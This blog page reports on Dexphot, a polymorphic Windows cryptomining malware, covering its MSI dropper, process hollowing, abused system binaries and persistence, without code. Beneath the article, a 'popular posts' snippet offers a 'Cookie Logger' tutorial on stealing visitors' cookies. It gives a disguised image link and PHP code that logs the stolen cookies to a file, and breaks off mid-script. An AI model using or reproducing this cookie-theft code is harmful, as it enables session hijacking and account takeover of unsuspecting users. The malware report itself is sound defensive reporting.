Skip to main content

Dexphot Polymorphic Malware Attacking Windows Computer to Mine Cryptocurrency and Monitor Services

dexphot malware


A new malware strain dubbed Dexphot attacking windows computers to mine cryptocurrency, monitoring services, and scheduled tasks to rerun the infection if windows defender removed it.
The malware uses files techniques it gets malicious codes executed directly in memory and also it hijacks the legitimate process to hide the malicious activity.
Microsoft closely tracked the threat since 2018, the threat actors continuously improve the malware, target new processes, and defense mechanism.
Dexphot
Malicious Behaviour

Dexphot Behaviour & Infection Chain

The malware employs multiple levels of polymorphism across the binaries it distributes, files techniques and behavior-based detection for protection.
The malware abuses the following legitimate process that includes
  • msiexec.exe – Microsoft process to install, modify, and perform operations on Windows Installer
  • unzip.exe – Extraction Utility
  • rundll32.exe – Used to run DLL files
  • schtasks.exe – To create scheduled tasks
  • powershell.exe – Automation framework
  • svchost.exe – Win32 Services
  • tracert.exe – Network command line tool
  • setup.exe
The infection starts with the installer downloading MSI package from the two URL’s embedded and then uses msiexec.exe to perform a silent installation.
It also checks for antivirus software installation, if any antivirus found it halts the installation immediately, if not then it decompresses the password-protected ZIP. The file unzipped using unzip.exe that exists within the package.
The zip file has three files such as loader DLL, clean DLL to avoid detection and encoded data. These files decompressed to the system’s Favorites folder.
Dexphot
Infection Chain
Rundll32.exe was used to decrypt the encrypted data file, the decrypted contains three executable, those executables are run by Dexphot directly in memory via processing hollowing method. The process hollowing is a method to hide a malicious process withing a legitimate process.
To initiate process hollowing, the loader DLL targets two legitimate system processes, the loader DLL replaces the contents of these processes with the first and second decrypted executables(nslookup.exe) they are monitoring services and then loader targets setup.exe and replace that with XMRig and JCE Miner script.

Persistence

To maintains persistence, it continuously checks for the status of the three malicious processes, if any of the process it intercepted then monitors terminate the entire process and starts the infection again.
Also, Microsoft observed it uses schtasks.exe to create scheduled tasks, with the command below as a final fail-safe method to maintain persistence.
The Dexphot campaign aimed to install coin miners on the targeted machine and attackers steal the computer resource stealthily to generate revenue.

Comments

Popular posts from this blog

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h

Assembly Language Step-by-step: Programming with DOS and Linux-

(-Assembly Language Step-by-step: Programming with DOS and Linux-) The bestselling guide to assembly language-now updated and expanded to include coverage of Linux . This new edition of the bestselling guide to assembly programming now covers DOS and Linux! The Second Edition begins with a highly accessible overview of the internal operations of the Intel-based PC and systematically covers all the steps involved in writing, testing, and debugging assembly programs. Expert author Jeff Duntemann then presents working example programs for both the DOS and Linux operating systems using the popular free assembler NASM. He also includes valuable information on how to use procedures and macros, plus rare explanations of assembly-level coding for Linux, all of which combine to offer a comprehensive look at the complexities of assembly programming for Intel processors. Providing you with the foundation to create executable assembly language programs, this book: * Explains how to use NASM

Cookie Logger

         Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary